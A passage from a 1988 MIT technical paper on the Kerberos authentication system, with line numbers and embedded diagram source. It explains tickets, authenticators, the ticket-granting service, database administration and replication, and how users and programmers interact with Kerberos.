  6635. each of its other clients to be accurate.  Timestamps (large
  6636. numbers  representing  the  current date and time) have been
  6637. added to the original model  to  aid  in  the  detection  of
  6638. replay.  Replay occurs when a message is stolen off the net-
  6639. work and resent later.  For a more complete  description  of
  6640. replay,  and other issues of authentication, see Voydock and
  6641. Kent.[4]
  6642.  
  6643. 2.1.  What Does It Do?
  6644.  
  6645.      Kerberos keeps a database  of  its  clients  and  their
  6646. private  keys.  The private key is a large number known only
  6647. to Kerberos and the client it belongs to.  In the case  that
  6648. the  client is a user, it is an encrypted password.  Network
  6649. services requiring authentication register with Kerberos, as
  6650. do  clients wishing to use those services.  The private keys
  6651. are negotiated at registration.
  6652.  
  6653.      Because Kerberos  knows  these  private  keys,  it  can
  6654. create  messages  which  convince one client that another is
  6655. really who it claims to be.  Kerberos  also  generates  tem-
  6656. porary private keys, called session keys, which are given to
  6657. two clients and no one else.  A session key can be  used  to
  6658. encrypt messages between two parties.
  6659.  
  6660.      Kerberos provides three distinct levels of  protection.
  6661. The  application programmer determines which is appropriate,
  6662. according to the requirements of the application.  For exam-
  6663. ple,  some  applications  require  only that authenticity be
  6664. established at the initiation of a network  connection,  and
  6665.  
  6666.  
  6667.                        March 30, 1988
  6668.  
  6669.  
  6670.  
  6671.  
  6672.  
  6673.  
  6674.                            - 6 -
  6675.  
  6676.  
  6677. can  assume  that  further  messages  from  a  given network
  6678. address originate from the authenticated party.  Our authen-
  6679. ticated network file system uses this level of security.
  6680.  
  6681.      Other applications require authentication of each  mes-
  6682. sage,  but do not care whether the content of the message is
  6683. disclosed or not.  For these, Kerberos  provides  safe  mes-
  6684. sages.   Yet  a  higher  level  of  security  is provided by
  6685. private messages, where each message is not  only  authenti-
  6686. cated,  but  also encrypted.  Private messages are used, for
  6687. example, by the Kerberos server itself for sending passwords
  6688. over the network.
  6689.  
  6690. 2.2.  Software Components
  6691.  
  6692.      The Athena  implementation  comprises  several  modules
  6693. (see  Figure 1).  The Kerberos applications library provides
  6694. an  interface  for  application  clients   and   application
  6695. servers.   It  contains, among others, routines for creating
  6696. or reading authentication requests,  and  the  routines  for
  6697. creating safe or private messages.
  6698.  
  6699.  
  6700.              o Kerberos applications library
  6701.              o encryption library
  6702.              o database library
  6703.              o database administration programs
  6704.              o administration server
  6705.              o authentication server
  6706.              o db propagation software
  6707.              o user programs
  6708.              o applications
  6709.  
  6710.           Figure 1.  Kerberos Software Components.
  6711.  
  6712.  
  6713.      Encryption in  Kerberos  is  based  on  DES,  the  Data
  6714. Encryption  Standard.[5]  The  encryption library implements
  6715. those routines.  Several methods of encryption are provided,
  6716. with  tradeoffs between speed and security.  An extension to
  6717. the DES Cypher Block Chaining (CBC) mode,  called  the  Pro-
  6718. pagating  CBC  mode,  is also provided.  In CBC, an error is
  6719. propagated only through the current  block  of  the  cipher,
  6720. whereas in PCBC, the error is propagated throughout the mes-
  6721. sage.  This renders the entire message useless if  an  error
  6722. occurs,  rather  than  just a portion of it.  The encryption
  6723. library is an independent module, and may be  replaced  with
  6724. other DES implementations or a different encryption library.
  6725.  
  6726.      Another replaceable module is the  database  management
  6727. system.   The  current Athena implementation of the database
  6728. library uses ndbm,  although  Ingres  was  originally  used.
  6729. Other database management libraries could be used as well.
  6730.  
  6731.  
  6732.  
  6733.                        March 30, 1988
  6734.  
  6735.  
  6736.  
  6737.  
  6738.  
  6739.  
  6740.                            - 7 -
  6741.  
  6742.  
  6743.      The Kerberos  database  needs  are  straightforward;  a
  6744. record  is  held  for  each  principal, containing the name,
  6745. private key, and expiration date  of  the  principal,  along
  6746. with  some administrative information.  (The expiration date
  6747. is the date after which an entry is no longer valid.  It  is
  6748. usually set to a few years into the future at registration.)
  6749.  
  6750.      Other  user  information,  such  as  real  name,  phone
  6751. number,  and so forth, is kept by another server, the Hesiod
  6752. nameserver.[6] This way, sensitive information, namely pass-
  6753. words,  can  be handled by Kerberos, using fairly high secu-
  6754. rity measures; while the non-sensitive information  kept  by
  6755. Hesiod  is  dealt  with differently; it can, for example, be
  6756. sent unencrypted over the network.
  6757.  
  6758.      The Kerberos servers use the database  library,  as  do
  6759. the tools for administering the database.
  6760.  
  6761.      The administration server (or KDBM server)  provides  a
  6762. read-write  network  interface  to the database.  The client
  6763. side of the program may be run on any machine  on  the  net-
  6764. work.   The  server  side,  however, must run on the machine
  6765. housing the Kerberos database in order to  make  changes  to
  6766. the database.
  6767.  
  6768.      The authentication server (or Kerberos server), on  the
  6769. other  hand,  performs  read-only operations on the Kerberos
  6770. database, namely, the authentication of principals, and gen-
  6771. eration  of session keys.  Since this server does not modify
  6772. the Kerberos database, it may run on  a  machine  housing  a
  6773. read-only copy of the master Kerberos database.
  6774.  
  6775.      Database propagation software  manages  replication  of
  6776. the Kerberos database.  It is possible to have copies of the
  6777. database on several different machines, with a copy  of  the
  6778. authentication  server  running  on  each  machine.  Each of
  6779. these slave machines receives  an  update  of  the  Kerberos
  6780. database from the master machine at given intervals.
  6781.  
  6782.      Finally, there are end-user programs for logging in  to
  6783. Kerberos,  changing  a  Kerberos password, and displaying or
  6784. destroying Kerberos tickets  (tickets  are  explained  later
  6785. on).
  6786.  
  6787. 3.  Kerberos Names
  6788.  
  6789.      Part of authenticating an entity  is  naming  it.   The
  6790. process  of  authentication  is  the  verification  that the
  6791. client is the one named in a request.  What does a name con-
  6792. sist of?  In Kerberos, both users and servers are named.  As
  6793. far as the authentication  server  is  concerned,  they  are
  6794. equivalent.  A name consists of a primary name, an instance,
  6795. and a realm, expressed as  name.instance@realm  (see  Figure
  6796. 2).
  6797.  
  6798.  
  6799.                        March 30, 1988
  6800.  
  6801.  
  6802.  
  6803.  
  6804.  
  6805.  
  6806.                            - 8 -
  6807.  
  6808.  
  6809.  
  6810.  
  6811.                             bcn
  6812.                         treese.root
  6813.                       jis@LCS.MIT.EDU
  6814.                 rlogin.priam@ATHENA.MIT.EDU
  6815.  
  6816.                  Figure 2.  Kerberos Names.
  6817.  
  6818.  
  6819.      The primary name is the name of the user  or  the  ser-
  6820. vice.   The instance is used to distinguish among variations
  6821. on the primary name.  For users, an instance may entail spe-
  6822. cial   privileges,   such   as  the  ``root''  or  ``admin''
  6823. instances.  For services  in  the  Athena  environment,  the
  6824. instance  is  usually  the  name of the machine on which the
  6825. server runs.  For example, the rlogin service has  different
  6826. instances  on  different  hosts:  rlogin.priam is the rlogin
  6827. server on the host named priam.  A Kerberos ticket  is  only
  6828. good  for a single named server.  As such, a separate ticket
  6829. is required to gain access to  different  instances  of  the
  6830. same  service.   The  realm is the name of an administrative
  6831. entity that maintains  authentication  data.   For  example,
  6832. different  institutions  may  each  have  their own Kerberos
  6833. machine, housing a different database.  They have  different
  6834. Kerberos  realms.   (Realms are discussed further in section
  6835. 8.2.)
  6836.  
  6837. 4.  How It Works
  6838.  
  6839.      This section describes the Kerberos authentication pro-
  6840. tocols.   The  following  abbreviations are used in the fig-
  6841. ures.
  6842.  
  6843.                c          ->   client
  6844.                s          ->   server
  6845.                addr       ->   client's network address
  6846.                life       ->   lifetime of ticket
  6847.                tgs, TGS   ->   ticket-granting server
  6848.                Kerberos   ->   authentication server
  6849.                KDBM       ->   administration server
  6850.                Kx         ->   x's private key
  6851.                Kx,y       ->   session key for x and y
  6852.                {abc}Kx    ->   abc encrypted in x's key
  6853.                Tx,y       ->   x's ticket to use y
  6854.                Ax         ->   authenticator for x
  6855.                WS         ->   workstation
  6856.  
  6857.  
  6858.  
  6859. As mentioned above, the  Kerberos  authentication  model  is
  6860. based  on  the Needham and Schroeder key distribution proto-
  6861. col.  When a user requests a service, her/his identity  must
  6862.  
  6863.  
  6864.                        March 30, 1988
  6865.  
  6866.  
  6867.  
  6868.  
  6869.  
  6870.  
  6871.                            - 9 -
  6872.  
  6873.  
  6874. be  established.   To  do this, a ticket is presented to the
  6875. server, along with proof  that  the  ticket  was  originally
  6876. issued  to  the user, not stolen.  There are three phases to
  6877. authentication through Kerberos.  In the  first  phase,  the
  6878. user  obtains  credentials  to  be used to request access to
  6879. other services.  In the  second  phase,  the  user  requests
  6880. authentication  for a specific service.  In the final phase,
  6881. the user presents those credentials to the end server.
  6882.  
  6883. 4.1.  Credentials
  6884.  
  6885.      There are two types of credentials used in the Kerberos
  6886. authentication  model: tickets and authenticators.  Both are
  6887. based on private key  encryption,  but  they  are  encrypted
  6888. using different keys.  A ticket is used to securely pass the
  6889. identity of the person to whom the ticket was issued between
  6890. the authentication server and the end server.  A ticket also
  6891. passes information that can be used to make  sure  that  the
  6892. person  using  the ticket is the same person to which it was
  6893. issued.  The authenticator contains the additional  informa-
  6894. tion  which, when compared against that in the ticket proves
  6895. that the client presenting the ticket is  the  same  one  to
  6896. which the ticket was issued.
  6897.  
  6898.      A ticket is good for  a  single  server  and  a  single
  6899. client.  It contains the name of the server, the name of the
  6900. client, the Internet address of the client, a  timestamp,  a
  6901. lifetime,  and  a  random  session key.  This information is
  6902. encrypted using the key of the server for which  the  ticket
  6903. will  be  used.   Once the ticket has been issued, it may be
  6904. used multiple times by the named client to  gain  access  to
  6905. the  named  server,  until  the  ticket  expires.  Note that
  6906. because the ticket is encrypted in the key of the server, it
  6907. is  safe  to  allow  the  user  to pass the ticket on to the
  6908. server without having to worry about the user modifying  the
  6909. ticket (see Figure 3).
  6910.  
  6911.  
  6912.            {s, c, addr, timestamp, life, Ks,c}Ks
  6913.  
  6914.                Figure 3.  A Kerberos Ticket.
  6915.  
  6916.  
  6917.      Unlike the ticket, the authenticator can only  be  used
  6918. once.   A new one must be generated each time a client wants
  6919. to use a service.  This does not present a  problem  because
  6920. the  client  is  able to build the authenticator itself.  An
  6921. authenticator  contains  the  name  of   the   client,   the
  6922. workstation's  IP address, and the current workstation time.
  6923. The authenticator is encrypted in the session  key  that  is
  6924. part of the ticket (see Figure 4).
  6925.  
  6926.  
  6927.  
  6928.  
  6929.  
  6930.                        March 30, 1988
  6931.  
  6932.  
  6933.  
  6934.  
  6935.  
  6936.  
  6937.                            - 10 -
  6938.  
  6939.  
  6940.  
  6941.  
  6942.                   {c, addr, timestamp}Ks,c
  6943.  
  6944.             Figure 4.  A Kerberos Authenticator.
  6945.  
  6946.  
  6947. 4.2.  Getting the Initial Ticket
  6948.  
  6949.      When the user walks up to a workstation, only one piece
  6950. of  information can prove her/his identity: the user's pass-
  6951. word.  The initial exchange with the  authentication  server
  6952. is designed to minimize the chance that the password will be
  6953. compromised, while at the same time not allowing a  user  to
  6954. properly  authenticate her/himself without knowledge of that
  6955. password.  The process of logging in appears to the user  to
  6956. be  the  same as logging in to a timesharing system.  Behind
  6957. the scenes, though, it is quite different (see Figure 5).
  6958.  
  6959.      linewid = 1.5i
  6960.      ellipsewid = .7i
  6961.      ellipse "Client"
  6962.      arrow "c, tgs" ""
  6963.      ellipse "Kerberos"
  6964.      linewid = 1.5i
  6965.      ellipsewid = .7i
  6966.      ellipse "Client"
  6967.      line <- "" "{Kc,tgs,{Tc,tgs} Ktgs}Kc"
  6968.      ellipse "Kerberos"
  6969.  
  6970.                 Figure 5.  Getting the Initial Ticket.
  6971.  
  6972.  
  6973.      The user is prompted for her/his username.  Once it has
  6974. been entered, a request is sent to the authentication server
  6975. containing the user's name and the name of a special service
  6976. known as the ticket-granting service.
  6977.  
  6978.      The authentication server checks that  it  knows  about
  6979. the  client.  If so, it generates a random session key which
  6980. will later be  used  between  the  client  and  the  ticket-
  6981. granting  server.   It then creates a ticket for the ticket-
  6982. granting server which contains the client's name,  the  name
  6983. of  the ticket-granting server, the current time, a lifetime
  6984. for the ticket, the client's IP address, and the random ses-
  6985. sion key just created.  This is all encrypted in a key known
  6986. only to the ticket-granting server  and  the  authentication
  6987. server.
  6988.  
  6989.      The authentication server then sends the ticket,  along
  6990. with  a  copy  of the random session key and some additional
  6991. information, back to the client.  This response is encrypted
  6992. in  the client's private key, known only to Kerberos and the
  6993. client, which is derived from the user's password.
  6994.  
  6995.  
  6996.                        March 30, 1988
  6997.  
  6998.  
  6999.  
  7000.  
  7001.  
  7002.  
  7003.                            - 11 -
  7004.  
  7005.  
  7006.      Once the response has been received by the client,  the
  7007. user  is  asked  for her/his password.  The password is con-
  7008. verted to a DES key and used to decrypt  the  response  from
  7009. the  authentication server.  The ticket and the session key,
  7010. along with some of the other  information,  are  stored  for
  7011. future  use,  and the user's password and DES key are erased
  7012. from memory.
  7013.  
  7014.      Once the exchange has been completed,  the  workstation
  7015. possesses  information that it can use to prove the identity
  7016. of its user for the lifetime of the ticket-granting  ticket.
  7017. As long as the software on the workstation had not been pre-
  7018. viously tampered with, no information exists that will allow
  7019. someone  else to impersonate the user beyond the life of the
  7020. ticket.
  7021.  
  7022. 4.3.  Requesting a Service
  7023.  
  7024.      For the moment, let us pretend that  the  user  already
  7025. has  a  ticket  for  the  desired  server.  In order to gain
  7026. access to the server, the application builds an  authentica-
  7027. tor  containing  the  client's  name and IP address, and the
  7028. current time.  The authenticator is then  encrypted  in  the
  7029. session  key  that  was  received  with  the  ticket for the
  7030. server.  The client then sends the authenticator along  with
  7031. the  ticket to the server in a manner defined by the indivi-
  7032. dual application.
  7033.  
  7034.      Once the authenticator and ticket have been received by
  7035. the server, the server decrypts the ticket, uses the session
  7036. key included in the ticket  to  decrypt  the  authenticator,
  7037. compares  the  information  in  the  ticket with that in the
  7038. authenticator, the IP address from  which  the  request  was
  7039. received,  and  the present time.  If everything matches, it
  7040. allows the request to proceed (see Figure 6).
  7041.  
  7042.        linewid = 1.5i
  7043.        ellipsewid = .7i
  7044.        ellipse "Client"
  7045.        arrow "{Ac}Kc,s, {Tc,s}Ks" ""
  7046.        ellipse "Server"
  7047.                      Figure 6.  Requesting a Service.
  7048.  
  7049.  
  7050.      It is assumed that clocks are  synchronized  to  within
  7051. several  minutes.   If the time in the request is too far in
  7052. the future or the past, the server treats the request as  an
  7053. attempt  to  replay  a previous request.  The server is also
  7054. allowed to keep track of all past requests  with  timestamps
  7055. that  are  still  valid.   In  order  to further foil replay
  7056. attacks, a request received with the same ticket  and  time-
  7057. stamp as one already received can be discarded.
  7058.  
  7059.      Finally, if the client  specifies  that  it  wants  the
  7060.  
  7061.  
  7062.                        March 30, 1988
  7063.  
  7064.  
  7065.  
  7066.  
  7067.  
  7068.  
  7069.                            - 12 -
  7070.  
  7071.  
  7072. server to prove its identity too, the server adds one to the
  7073. timestamp the client sent in the authenticator, encrypts the
  7074. result  in the session key, and sends the result back to the
  7075. client (see Figure 7).
  7076.  
  7077.        linewid = 1.5i
  7078.        ellipsewid = .7i
  7079.        ellipse "Client"
  7080.        line <- "" "{timestamp + 1} Kc,s"
  7081.        ellipse "Server"
  7082.                     Figure 7.  Mutual Authentication.
  7083.  
  7084.  
  7085.      At the end of this  exchange,  the  server  is  certain
  7086. that,  according  to  Kerberos, the client is who it says it
  7087. is.  If mutual authentication occurs,  the  client  is  also
  7088. convinced  that  the  server  is  authentic.   Moreover, the
  7089. client and server share a key which no one else  knows,  and
  7090. can safely assume that a reasonably recent message encrypted
  7091. in that key originated with the other party.
  7092.  
  7093. 4.4.  Getting Server Tickets
  7094.  
  7095.      Recall that a ticket is only good for a single  server.
  7096. As  such,  it  is  necessary to obtain a separate ticket for
  7097. each service the client wants to use.  Tickets  for  indivi-
  7098. dual  servers  can be obtained from the ticket-granting ser-
  7099. vice.  Since the ticket-granting service is  itself  a  ser-
  7100. vice,  it makes use of the service access protocol described
  7101. in the previous section.
  7102.  
  7103.      When a program requires a ticket that has  not  already
  7104. been  requested,  it  sends a request to the ticket-granting
  7105. server (see Figure 8).  The request contains the name of the
  7106. server  for  which  a  ticket  is  requested, along with the
  7107. ticket-granting  ticket  and  an  authenticator   built   as
  7108. described in the previous section.
  7109.  
  7110.       linewid = 1.7i
  7111.       ellipsewid = .7i
  7112.       ellipse "Client"
  7113.       arrow "s,{Tc,tgs}Ktgs,{Ac}Kc,tgs" ""
  7114.       ellipse "TGS"
  7115.       linewid = 1.7i
  7116.       ellipsewid = .7i
  7117.       ellipse "Client"
  7118.       line <- "" "{{Tc,s}Ks,Kc,s}Kc,tgs"
  7119.       ellipse "TGS"
  7120.  
  7121.                   Figure 8.  Getting a Server Ticket.
  7122.  
  7123.  
  7124.      The ticket-granting server then checks the  authentica-
  7125. tor  and  ticket-granting  ticket  as  described  above.  If
  7126.  
  7127.  
  7128.                        March 30, 1988
  7129.  
  7130.  
  7131.  
  7132.  
  7133.  
  7134.  
  7135.                            - 13 -
  7136.  
  7137.  
  7138. valid, the ticket-granting server  generates  a  new  random
  7139. session  key  to  be  used  between  the  client and the new
  7140. server.  It then builds a ticket for the new server contain-
  7141. ing  the  client's  name, the server name, the current time,
  7142. the client's IP address and the new session key it just gen-
  7143. erated.   The  lifetime  of the new ticket is the minimum of
  7144. the remaining life for the ticket-granting  ticket  and  the
  7145. default for the service.
  7146.  
  7147.      The ticket-granting server then sends the ticket, along
  7148. with  the  session  key  and  other information, back to the
  7149. client.  This time, however, the reply is encrypted  in  the
  7150. session  key  that  was  part of the ticket-granting ticket.
  7151. This way, there is no need for the  user  to  enter  her/his
  7152. password again.  Figure 9 summarizes the authentication pro-
  7153. tocols.
  7154.  
  7155.     circlerad = .32i
  7156.     Kerbie:
  7157.     circle at -1,1 "Kerberos"
  7158.     Client:
  7159.     circle at 0,0 "User/" "Client"
  7160.     TGS:
  7161.     circle at 1,1 "TGS"
  7162.     Server:
  7163.     circle at 1.75,0 "Server"
  7164.     arrow from Client.w to Kerbie.s "1 " below
  7165.     arrow from Kerbie.e to Client.n " 2" above
  7166.     arrow from Client.n to TGS.w "3" above
  7167.     arrow from TGS.s to Client.e "4" above
  7168.     arrow from Client.e to Server.w "5" above
  7169.        1.  Request for TGS ticket
  7170.        2.  Ticket for TGS
  7171.        3.  Request for Server ticket
  7172.        4.  Ticket for Server
  7173.        5.  Request for service
  7174.  
  7175.            Figure 9.  Kerberos Authentication Protocols.
  7176.  
  7177.  
  7178. 5.  The Kerberos Database
  7179.  
  7180.      Up to this point, we have discussed operations  requir-
  7181. ing read-only access to the Kerberos database.  These opera-
  7182. tions are performed by the authentication service, which can
  7183. run on both master and slave machines (see Figure 10).
  7184.  
  7185.  
  7186.  
  7187.  
  7188.  
  7189.  
  7190.  
  7191.  
  7192.  
  7193.  
  7194.                        March 30, 1988
  7195.  
  7196.  
  7197.  
  7198.  
  7199.  
  7200.  
  7201.                            - 14 -
  7202.  
  7203.  
  7204.  
  7205.  
  7206.       boxwid = .5i
  7207.       WS1:
  7208.       box
  7209.       move right
  7210.       WS2:
  7211.       box
  7212.       move right
  7213.       WS3:
  7214.       box
  7215.       move right
  7216.       Box1:
  7217.       box invis with .n at WS1.s-(0,.5i)
  7218.       Slave:
  7219.       box
  7220.       move right
  7221.       Master:
  7222.       box
  7223.       Titles:
  7224.       "WS" at WS1.n above
  7225.       "WS" at WS2.n above
  7226.       "WS" at WS3.n above
  7227.       "Slave" at Slave.s below
  7228.       "Master" at Master.s below
  7229.       Arrows:
  7230.       arrow from WS1.s to Slave.n
  7231.       arrow from WS2.s to Slave.n
  7232.       arrow from WS3.s to Slave.n
  7233.       arrow from WS1.s to Master.n
  7234.       arrow from WS2.s to Master.n
  7235.       arrow from WS3.s to Master.n
  7236.  
  7237.  
  7238.                   Figure 10.  Authentication Requests.
  7239.  
  7240.  
  7241.      In this section, we  discuss  operations  that  require
  7242. write  access  to  the  database.  These operations are per-
  7243. formed by the administration service,  called  the  Kerberos
  7244. Database Management Service (KDBM).  The current implementa-
  7245. tion stipulates that changes may only be made to the  master
  7246. Kerberos  database;  slave copies are read-only.  Therefore,
  7247. the KDBM server may only run on the master Kerberos  machine
  7248. (see Figure 11).
  7249.  
  7250.  
  7251.  
  7252.  
  7253.  
  7254.  
  7255.  
  7256.  
  7257.  
  7258.  
  7259.  
  7260.                        March 30, 1988
  7261.  
  7262.  
  7263.  
  7264.  
  7265.  
  7266.  
  7267.                            - 15 -
  7268.  
  7269.  
  7270.  
  7271.  
  7272.       boxwid = .5i
  7273.       WS1:
  7274.       box
  7275.       move right
  7276.       WS2:
  7277.       box
  7278.       move right
  7279.       WS3:
  7280.       box
  7281.       move right
  7282.       Box1:
  7283.       box invis with .n at WS1.s-(0,.5i)
  7284.       Slave:
  7285.       box dashed
  7286.       move right
  7287.       Master:
  7288.       box
  7289.       Titles:
  7290.       "WS" at WS1.n above
  7291.       "WS" at WS2.n above
  7292.       "WS" at WS3.n above
  7293.       "Slave" at Slave.s below
  7294.       "Master" at Master.s below
  7295.       Arrows:
  7296.       arrow from WS1.s to Master.n
  7297.       arrow from WS2.s to Master.n
  7298.       arrow from WS3.s to Master.n
  7299.  
  7300.  
  7301.                   Figure 11.  Administration Requests.
  7302.  
  7303. Note that, while authentication can still occur (on slaves),
  7304. administration  requests  cannot  be  serviced if the master
  7305. machine is down.  In our experience, this has not  presented
  7306. a problem, as administration requests are infrequent.
  7307.  
  7308.      The KDBM handles requests from users  to  change  their
  7309. passwords.   The  client  side  of this program, which sends
  7310. requests to the KDBM over the network, is the  kpasswd  pro-
  7311. gram.  The KDBM also accepts requests from Kerberos adminis-
  7312. trators, who may add principals to the database, as well  as
  7313. change  passwords  for existing principals.  The client side
  7314. of the administration program, which also sends requests  to
  7315. the KDBM over the network, is the kadmin program.
  7316.  
  7317. 5.1.  The KDBM Server
  7318.  
  7319.      The KDBM server accepts requests to add  principals  to
  7320. the  database  or  change the passwords for existing princi-
  7321. pals.  This service is unique in  that  the  ticket-granting
  7322. service will not issue tickets for it.  Instead, the authen-
  7323. tication service itself must be used (the same service  that
  7324.  
  7325.  
  7326.                        March 30, 1988
  7327.  
  7328.  
  7329.  
  7330.  
  7331.  
  7332.  
  7333.                            - 16 -
  7334.  
  7335.  
  7336. is  used  to  get a ticket-granting ticket).  The purpose of
  7337. this is to require the user to enter a  password.   If  this
  7338. were  not  so, then if a user left her/his workstation unat-
  7339. tended, a passerby could walk up and change her/his password
  7340. for them, something which should be prevented.  Likewise, if
  7341. an  administrator  left  her/his  workstation  unguarded,  a
  7342. passerby could change any password in the system.
  7343.  
  7344.      When the KDBM server receives a request, it  authorizes
  7345. it  by  comparing  the  authenticated  principal name of the
  7346. requester of the change to the principal name of the  target
  7347. of  the  request.  If they are the same, the request is per-
  7348. mitted.  If they are not the same, the KDBM server  consults
  7349. an  access control list (stored in a file on the master Ker-
  7350. beros system).  If the requester's principal name  is  found
  7351. in  this  file,  the  request  is permitted, otherwise it is
  7352. denied.
  7353.  
  7354.      By convention, names with a NULL instance (the  default
  7355. instance)  do  not  appear  in the access control list file;
  7356. instead, an admin instance is used.  Therefore, for  a  user
  7357. to become an administrator of Kerberos an admin instance for
  7358. that username must be created, and added to the access  con-
  7359. trol list.  This convention allows an administrator to use a
  7360. different password for  Kerberos  administration  then  s/he
  7361. would use for normal login.
  7362.  
  7363.      All requests to the KDBM program, whether permitted  or
  7364. denied, are logged.
  7365.  
  7366. 5.2.  The kadmin and kpasswd Programs
  7367.  
  7368.      Administrators of Kerberos use the  kadmin  program  to
  7369. add  principals  to the database, or change the passwords of
  7370. existing principals.  An administrator is required to  enter
  7371. the  password for their admin instance name when they invoke
  7372. the kadmin program.  This password is used to fetch a ticket
  7373. for the KDBM server (see Figure 12).
  7374.  
  7375.     Kerbie:
  7376.     circle at -1,1 "Kerberos"
  7377.     Client:
  7378.     circle at 0,0 "User/" "Admin"
  7379.     KDBM:
  7380.     circle at 1,1 "KDBM"
  7381.     arrow from Client.w to Kerbie.s "1 " below
  7382.     arrow from Kerbie.e to Client.n " 2" above
  7383.     arrow from Client.ne to KDBM.sw "3" above
  7384.        1.  Request for KDBM ticket
  7385.        2.  Ticket for KDBM
  7386.        3.  kadmin or kpasswd request
  7387.  
  7388.            Figure 12.  Kerberos Administration Protocol.
  7389.  
  7390.  
  7391.  
  7392.                        March 30, 1988
  7393.  
  7394.  
  7395.  
  7396.  
  7397.  
  7398.  
  7399.                            - 17 -
  7400.  
  7401.  
  7402.      Users may change their  Kerberos  passwords  using  the
  7403. kpasswd program.  They are required to enter their old pass-
  7404. word when they invoke the program.  This password is used to
  7405. fetch a ticket for the KDBM server.
  7406.  
  7407. 5.3.  Database Replication
  7408.      Each Kerberos realm  has  a  master  Kerberos  machine,
  7409. which houses the master copy of the authentication database.
  7410. It is possible (although not necessary) to have  additional,
  7411. read-only copies of the database on slave machines elsewhere
  7412. in the system.  The advantages of having multiple copies  of
  7413. the  database  are  those  usually  cited  for  replication:
  7414. higher availability and better performance.  If  the  master
  7415. machine is down, authentication can still be achieved on one
  7416. of the slave machines.  The ability to  perform  authentica-
  7417. tion  on any one of several machines reduces the probability
  7418. of a bottleneck at the master machine.
  7419.  
  7420.      Keeping multiple copies of the database introduces  the
  7421. problem of data consistency.  We have found that very simple
  7422. methods suffice for dealing with inconsistency.  The  master
  7423. database is dumped every hour.  The database is sent, in its
  7424. entirety, to the slave machines, which then update their own
  7425. databases.   A  program  on  the  master host, called kprop,
  7426. sends the update to a peer program, called  kpropd,  running
  7427. on  each of the slave machines (see Figure 13).  First kprop
  7428. sends a checksum of the new database it is  about  to  send.
  7429. The  checksum  is  encrypted in the Kerberos master database
  7430. key, which both the master and slave Kerberos machines  pos-
  7431. sess.   The data is then transferred over the network to the
  7432. kpropd on the slave machine.  The slave  propagation  server
  7433. calculates a checksum of the data it has received, and if it
  7434. matches the checksum sent by the master, the new information
  7435. is used to update the slave's database.
  7436.  
  7437.  
  7438.  
  7439.  
  7440.  
  7441.  
  7442.  
  7443.  
  7444.  
  7445.  
  7446.  
  7447.  
  7448.  
  7449.  
  7450.  
  7451.  
  7452.  
  7453.  
  7454.  
  7455.  
  7456.  
  7457.                        March 30, 1988
  7458.  
  7459.  
  7460.  
  7461.  
  7462.  
  7463.  
  7464.                            - 18 -
  7465.  
  7466.  
  7467.  
  7468.  
  7469.        boxwid = .75i
  7470.        Box1:
  7471.        box invis
  7472.        move right
  7473.        Master:
  7474.        box "" "kprop"
  7475.        move right
  7476.        Box3:
  7477.        box invis
  7478.        Slave1:
  7479.        box "kpropd" "" with .nw at Box1.sw-(0,.5i)
  7480.        move right
  7481.        Slave2:
  7482.        box "kpropd" ""
  7483.        move right
  7484.        Slave3:
  7485.        box "kpropd" ""
  7486.        Titles:
  7487.        "Master" at Master.n above
  7488.        "Slave" at Slave1.s below
  7489.        "Slave" at Slave2.s below
  7490.        "Slave" at Slave3.s below
  7491.        Arrows:
  7492.        arrow from Master.s to Slave1.n
  7493.        arrow from Master.s to Slave2.n
  7494.        arrow from Master.s to Slave3.n
  7495.  
  7496.  
  7497.                     Figure 13.  Database Propagation.
  7498.  
  7499.  
  7500.      All passwords in the Kerberos database are encrypted in
  7501. the  master  database  key Therefore, the information passed
  7502. from master to slave over the network is not  useful  to  an
  7503. eavesdropper.   However,  it is essential that only informa-
  7504. tion from the master host be accepted  by  the  slaves,  and
  7505. that tampering of data be detected, thus the checksum.
  7506.  
  7507. 6.  Kerberos From the Outside Looking In
  7508.  
  7509.      The section will describe Kerberos from  the  practical
  7510. point  of  view,  first  as  seen by the user, then from the
  7511. application programmer's viewpoint, and finally, through the
  7512. tasks of the Kerberos administrator.
  7513.  
  7514. 6.1.  User's Eye View
  7515.  
  7516.      If all goes well, the user will hardly notice that Ker-
  7517. beros  is  present.  In our UNIX implementation, the ticket-
  7518. granting ticket is obtained from Kerberos  as  part  of  the
  7519. login  process.   The changing of a user's Kerberos password
  7520. is part of the passwd program.   And  Kerberos  tickets  are
  7521.  
  7522.  
  7523.                        March 30, 1988
  7524.  
  7525.  
  7526.  
  7527.  
  7528.  
  7529.  
  7530.                            - 19 -
  7531.  
  7532.  
  7533. automatically destroyed when a user logs out.
  7534.  
  7535.      If the user's login session lasts longer than the life-
  7536. time  of the ticket-granting ticket (currently 8 hours), the
  7537. user will notice Kerberos' presence because the next time  a
  7538. Kerberos-authenticated  application  is  executed,  it  will
  7539. fail.  The Kerberos ticket for it  will  have  expired.   At
  7540. that  point,  the user can run the kinit program to obtain a
  7541. new ticket for the ticket-granting server.  As when  logging
  7542. in,  a password must be provided in order to get it.  A user
  7543. executing  the  klist  command  out  of  curiosity  may   be
  7544. surprised  at  all  the  tickets  which  have  silently been
  7545. obtained on her/his behalf for services which  require  Ker-
  7546. beros authentication.
  7547.  
  7548. 6.2.  From the Programmer's Viewpoint
  7549.  
  7550.      A programmer writing a Kerberos application will  often
  7551. be  adding  authentication  to  an  already existing network
  7552. application consisting of a client and server side.  We call
  7553. this process ``Kerberizing'' a program.  Kerberizing usually
  7554. involves making a call to the Kerberos library in  order  to
  7555. perform  authentication  at the initial request for service.
  7556. It may also involve calls to the DES library to encrypt mes-
  7557. sages  and data which are subsequently sent between applica-
  7558. tion client and application server.
  7559.  
  7560.      The most commonly used library functions are krb_mk_req
  7561. on  the client side, and krb_rd_req on the server side.  The
  7562. krb_mk_req routine takes as parameters the  name,  instance,
  7563. and realm of the target server, which will be requested, and
  7564. possibly a checksum of the data to be sent.  The client then
  7565. sends  the  message returned by the krb_mk_req call over the
  7566. network to the server side of  the  application.   When  the
  7567. server receives this message, it makes a call to the library
  7568. routine krb_rd_req.  The routine returns a  judgement  about
  7569. the authenticity of the sender's alleged identity.
  7570.  
  7571.      If the application requires that messages sent  between
  7572. client  and server be secret, then library calls can be made
  7573. to krb_mk_priv (krb_rd_priv) to encrypt  (decrypt)  messages
  7574. in the session key which both sides now share.[7]
  7575.  
  7576. 6.3.  The Kerberos Administrator's Job
  7577.  
  7578.      The Kerberos administrator's job begins with running  a
  7579. program to initialize the database.  Another program must be
  7580. run to register essential principals in the  database,  such
  7581. as the Kerberos administrator's name with an admin instance.
  7582. The Kerberos authentication server  and  the  administration
  7583. server  must  be  started up.  If there are slave databases,
